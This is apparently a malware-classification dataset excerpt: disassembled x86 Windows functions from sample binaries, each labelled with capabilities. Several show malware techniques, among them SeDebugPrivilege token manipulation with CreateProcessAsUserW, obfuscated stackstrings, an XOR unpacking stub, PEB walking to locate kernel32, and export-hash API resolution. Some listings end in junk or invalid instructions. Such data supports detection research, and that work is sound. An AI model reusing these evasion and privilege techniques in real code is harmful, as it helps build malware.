joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4013d0
Capabilities:
Acquire debug privileges
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x4a8
mov eax, dword [0x418008]
xor eax, esp
mov dword [esp + 0x4a4], eax
push esi
xor esi, esi
mov dword [esp + 8], ecx
xorps xmm0, xmm0
mov dword [esp + 0x18], esi
push edi
movaps xmmword [esp + 0x20], xmm0
mov dword [esp + 0x10], esi
mov dword [esp + 0x18], esi
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x7c], eax
push ecx
push eax
call dword [sym.imp.WTSAPI32.dll_WTSQueryUserToken]
push 0x44
lea eax, [esp + 0x34]
mov dword [esp + 0xc], 0x30
push esi
push eax
call fcn.00404840
xor eax, eax
mov dword [esp + 0x3c], 0x44
push 0x208
push eax
mov word [esp + 0x74], ax
lea eax, [esp + 0xac]
push eax
call fcn.00404840
push 0x415dbc
lea eax, [esp + 0xb4]
push 0x104
push eax
call fcn.004064c8
add esp, 0x24
lea eax, [esp + 0x98]
mov dword [esp + 0x38], eax
lea eax, [esp + 0x18]
push eax
push 0x201eb
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x4015dd
lea eax, [esp + 0x80]
push eax
push str.SeDebugPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x4015dd
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0x84]
mov dword [esp + 0x8c], eax
lea eax, [esp + 0x10]
push eax
push 1
push 1
push esi
push 0x2000000
push dword [esp + 0x2c]
mov dword [esp + 0xa0], 1
mov dword [esp + 0xa8], ecx
mov dword [esp + 0xac], 2
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x4015dd
push 4
lea eax, [esp + 0x80]
push eax
push 0xc
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
test eax, eax
je 0x4015dd
push esi
push esi
push 0x10
lea eax, [esp + 0x94]
push eax
push esi
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x4015dd
push 1
push dword [esp + 0x14]
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], esi
push eax
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
je 0x40156c
mov dword [esp + 8], 0x430
jmp 0x401570
mov dword [esp + 0x14], esi
push 0x208
lea eax, [esp + 0x2a4]
push 0
push eax
call fcn.00404840
push dword [esp + 0x18]
lea eax, [esp + 0x2b0]
push 0x104
push eax
call fcn.004064c8
add esp, 0x18
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x34]
push eax
push 0
push dword [esp + 0x20]
lea eax, [esp + 0x2b0]
push dword [esp + 0x18]
push 0
push 0
push 0
push eax
push 0
push dword [esp + 0x38]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x4015dd
push dword [esp + 0x20]
call edi
push dword [esp + 0x24]
call edi
jmp 0x4015e5
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x4015f0
push eax
call edi
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4015fb
push eax
call edi
mov eax, dword [esp + 0x18]
test eax, eax
je 0x401606
push eax
call edi
mov ecx, dword [esp + 0x4ac]
mov eax, esi
pop edi
pop esi
xor ecx, esp
call fcn.0040343f
mov esp, ebp
pop ebp
ret
Function at 0x401620
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x418008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
mov dword [ebp - 0x20], 0x780065
xor eax, eax
mov dword [ebp - 0x24], esi
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x1c], 0x6c0070
lea edx, [ecx + 2]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov dword [ebp - 0x18], 0x72006f
mov dword [ebp - 0x14], 0x720065
mov dword [ebp - 0x10], 0x65002e
mov dword [ebp - 0xc], 0x650078
mov word [ebp - 8], 0
mov word [esi], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401696
sub ecx, edx
lea eax, [ebp - 0x20]
sar ecx, 1
push ecx
push eax
mov ecx, esi
call fcn.00402f00
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040343f
mov esp, ebp
pop ebp
ret
Function at 0x403d96
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403dd5
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x403dd5
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403dd5
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403dd5
cmp dword [ecx + 0x74], 0xe
jbe 0x403dd5
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x409c9d
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x409d3a
push ebx
push esi
call fcn.00409c66
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00409baf
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x409ce7
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x409d39
push edi
push eax
call fcn.0040877e
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x409d07
call fcn.0040885a
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x409d38
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00409baf
add esp, 0x20
test eax, eax
jne 0x409d26
push edi
call fcn.0040885a
jmp 0x409d2e
push ebx
call fcn.0040885a
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x40a3a4
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x412a40
push 0x412a38
push str.FlsAlloc
push 0x1e
call fcn.0040a265
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40a3d8
push dword [ebp + 8]
mov ecx, esi
call dword [0x411194]
call esi
jmp 0x40a3de
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40a422
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x412a50
push 0x412a48
push str.FlsGetValue
push 0x20
call fcn.0040a265
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40a459
push dword [ebp + 8]
mov ecx, esi
call dword [0x411194]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40b187
Capabilities:
Contain obfuscated stackstrings

Disassembly:
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.0040ae99
mov edi, 0x8dfc2f76
inc ebp
rcl byte [eax - 0x18], 0xc5
cld
invalid
Function at 0x40b580
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x40b570
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x40b58e
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
or byte [ecx], al
add byte [eax], al
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x40b5ec
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x40b5d3
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x40b5dc
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x40b5e6
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x40b5c8
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x40b552
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x40b639
dec eax
je 0x40b630
sub eax, 3
je 0x40b627
mov dword [ebp - 4], 0x40
jmp 0x40b656
mov dword [ebp - 4], 4
jmp 0x40b63c
mov dword [ebp - 4], 0x20
jmp 0x40b63c
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x40b688
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x40b608
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.0040ae99
mov esi, 0xfffd0871
jne 0x40b693
push 1
push esi
call edi
mov eax, esi
jmp 0x40b694
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
rcr byte [edi + 0x5e], 0x5b
pop edi
pop esi
pop ebx
leave
ret

Function at 0x410090
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4100bd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4100bd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x13a61268
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
je 0x4300d2
nop
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x4ac6663a
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x10567058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.105671a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x1056707e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1056706a
add dl, dl
jne 0x10567089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x105670dc
xor eax, eax
add dl, dl
jne 0x10567096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1056717d
add dl, dl
jne 0x105670a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105670b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105670bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105670c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x105670d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x10567075
mov eax, 1
add dl, dl
jne 0x105670ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105670f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x105670e1
sub eax, ebx
mov ebx, 1
jne 0x10567128
mov ecx, 1
add dl, dl
jne 0x1056710e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10567119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10567105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10567075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1056713f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1056714a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10567136
cmp eax, 0x7d00
jae 0x1056716d
cmp eax, 0x500
jb 0x10567168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10567075
cmp eax, 0x7f
ja 0x10567170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10567075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1056719e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x10567075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x403440
Capabilities:
Create pipe
Create process on windows
Set environment variable
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x200c
call fcn.0040f260
mov eax, dword [0x45aaf4]
mov ecx, dword [0x45a580]
push ebx
shr eax, 3
push esi
push edi
test eax, eax
jbe 0x403573
mov ebx, dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
mov esi, dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
cmp dword [0x45aaf4], 0x959
jne 0x40355c
push 0
lea eax, [ebp - 0xc08]
push eax
push 0
push 0
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
push 0
lea ecx, [ebp - 0x1408]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
lea edx, [ebp - 0x1808]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
lea eax, [ebp - 0x2008]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 0
push 0
push 0x402d84
push 0
push 0
push 0
call esi
push 0
lea ecx, [ebp - 0x408]
push ecx
push 0
call edi
mov edx, dword [ebp - 4]
push edx
call fcn.004031b0
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x40347e
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405b70
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44ba78]
jne 0x405b7a
repz ret
jmp fcn.0040b22c

Function at 0x40cf05
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406efa
and dword [ebp - 4], 0
cmp dword [0x451afc], 0
mov ebx, eax
jne 0x40cfb6
push 0x402468
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40d067
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40245c
push edi
call esi
test eax, eax
je 0x40d067
push eax
call fcn.00406e88
mov dword [esp], 0x40244c
push edi
mov dword [0x451afc], eax
call esi
push eax
call fcn.00406e88
mov dword [esp], 0x402438
push edi
mov dword [0x451b00], eax
call esi
push eax
call fcn.00406e88
mov dword [esp], 0x40241c
push edi
mov dword [0x451b04], eax
call esi
push eax
call fcn.00406e88
pop ecx
mov dword [0x451b0c], eax
test eax, eax
je 0x40cfb6
push 0x402404
push edi
call esi
push eax
call fcn.00406e88
pop ecx
mov dword [0x451b08], eax
mov eax, dword [0x451b08]
cmp eax, ebx
je 0x40d00e
cmp dword [0x451b0c], ebx
je 0x40d00e
push eax
call fcn.00406f03
push dword [0x451b0c]
mov esi, eax
call fcn.00406f03
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40d00e
test edi, edi
je 0x40d00e
call esi
test eax, eax
je 0x40d005
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40d005
test byte [ebp - 0xc], 1
jne 0x40d00e
or dword [ebp + 0x10], 0x200000
jmp 0x40d047
mov eax, dword [0x451b00]
cmp eax, ebx
je 0x40d047
push eax
call fcn.00406f03
pop ecx
test eax, eax
je 0x40d047
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40d047
mov eax, dword [0x451b04]
cmp eax, ebx
je 0x40d047
push eax
call fcn.00406f03
pop ecx
test eax, eax
je 0x40d047
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x451afc]
call fcn.00406f03
pop ecx
test eax, eax
je 0x40d067
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40d069
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401571
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x2c
mov eax, dword [0x41d040]
xor eax, esp
mov dword [esp + 0x24], eax
push ebx
push ebp
push esi
mov esi, dword [0x472e30]
xor ebx, ebx
push edi
mov dword [esp + 0x14], edx
mov eax, dword [esi + 0x3c]
mov ebp, dword [eax + esi + 0x78]
add ebp, esi
mov edi, dword [ebp + 0x20]
mov eax, dword [ebp + 0x18]
add edi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x4015d8
mov eax, dword [edi]
lea ecx, [esp + 0x1c]
add eax, esi
push eax
call fcn.00401803
lea ecx, [esp + 0x1c]
call fcn.0040133b
cmp eax, dword [esp + 0x14]
je 0x4015f0
lea ecx, [esp + 0x1c]
add edi, 4
call fcn.00401834
inc ebx
cmp ebx, dword [esp + 0x18]
jb 0x4015a8
xor edi, edi
mov ecx, dword [esp + 0x34]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004025da
add esp, 0x2c
ret
mov eax, dword [ebp + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebp + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x1c]
call fcn.00401834
jmp 0x4015da

Function at 0x401673
Capabilities:
Access peb ldr_data
Create thread
Get kernel32 base address
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
sub cx, 0x1f9
mul edi
dec cx
mul di
mul ebx
sub ax, 0x22b
or edi, ebx
shr cx, 2
rcl eax, 0x6e
rol ax, 0x19
rcl cx, 0xcb
mul si
mov si, 0x1b0
rcr esi, 0xed
inc si
dec dx
movsx ebx, si
movsx ecx, si
rcl cx, 0x33
mov edx, esi
shr ax, 0xb9
dec cx
ja 0x4016cf
test edx, 0x43
ja 0x4016f0
dec bx
imul eax
jmp 0x4016df
rol bx, 0x64
sub di, cx
ror esi, 0x18
ror ecx, 0xef
movsx ebx, bx
rcl eax, 0x5b
mul esi
jae 0x4016f0
inc ax
movsx ecx, si
rcr ebx, 0x8e
jmp 0x40170b
and ecx, 0x33b
ror edx, 0x56
rcr di, 0xc6
or esi, 0x389
movzx edi, ax
movsx edi, si
imul edx
mul cx
ror ax, 0x4e
sub ebx, 0xb9
rcl cx, 0x60
jb 0x40172a
imul si
mul eax
inc esi
xor bx, dx
inc ebx
jmp 0x40173c
mul eax
add eax, edi
mov ax, 0x2a4
mul ebx
ror edi, 0xfc
xor di, 0xdb
movsx ecx, di
dec bx
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x472e30], eax
push 0x27
mov esi, 0x471b80
mov edx, 0x547
push 0x41d950
mov ecx, esi
call fcn.00401134
pop ecx
pop ecx
mov edx, 0x8aafdc01
call fcn.00401571
lea ecx, [ebp - 4]
push ecx
push 0x40
push 0x4e4
push esi
call eax
test eax, eax
je 0x4017ed
push 4
call fcn.004025e8
pop ecx
lea ecx, [ebp - 8]
xor esi, esi
push ecx
push esi
push eax
push 0x401a9a
push esi
push esi
mov dword [eax], 0x40160e
call fcn.004059fb
add esp, 0x18
mov dword [ebp - 0xc], eax
test eax, eax
je 0x4017e6
cmp dword [ebp - 8], esi
je 0x4017f6
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [ebp - 8], eax
jne 0x4017cf
push 5
jmp 0x4017f8
push esi
push dword [ebp - 8]
push dword [ebp - 0xc]
call fcn.004022f8
add esp, 0xc
test eax, eax
je 0x4017ed
push 2
jmp 0x4017f8
mov dword [ebp - 8], esi
push 6
jmp 0x4017f8
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
push 1
call fcn.00402015
int3
Function at 0x40b8bc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x200]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x40b8f5
mov ecx, eax
dec ecx
lea edx, [ebp - 0x200]
mov eax, ebx
call fcn.00405018
jmp 0x40b8fe
mov eax, ebx
mov edx, esi
call fcn.00404edc
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40c0b4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff778
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
xor ecx, ecx
push ebp
push 0x40c1d9
push dword fs:[ecx]
mov dword fs:[ecx], esp
push 0x400
lea ecx, [ebp - 0x888]
call fcn.0040bec8
mov esi, eax
mov eax, dword [0x417d28]
cmp byte [eax], 0
je 0x40c181
mov eax, dword [0x417c4c]
call fcn.0040319c
call fcn.00402f8c
push 0
push 0
push 0
push 0
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte_1
mov ebx, eax
push ebx
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x40c090]
call fcn.00405d68
add esp, 4
push 0
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte_1
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov eax, dword [ebp - 4]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [ebp - 8]
push eax
push 2
push 0x40c1f4
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40c1bd
push 0x40
lea eax, [ebp - 0x88]
push eax
mov eax, dword [0x417c2c]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x41ab48]
call fcn.00405e20
push eax
call sub.user32.dll_LoadStringW_1
push 0x2010
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x888]
push eax
push 0
call sub.user32.dll_MessageBoxW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c1e0
lea eax, [ebp - 4]
mov edx, dword [0x40c090]
call fcn.00405d74
ret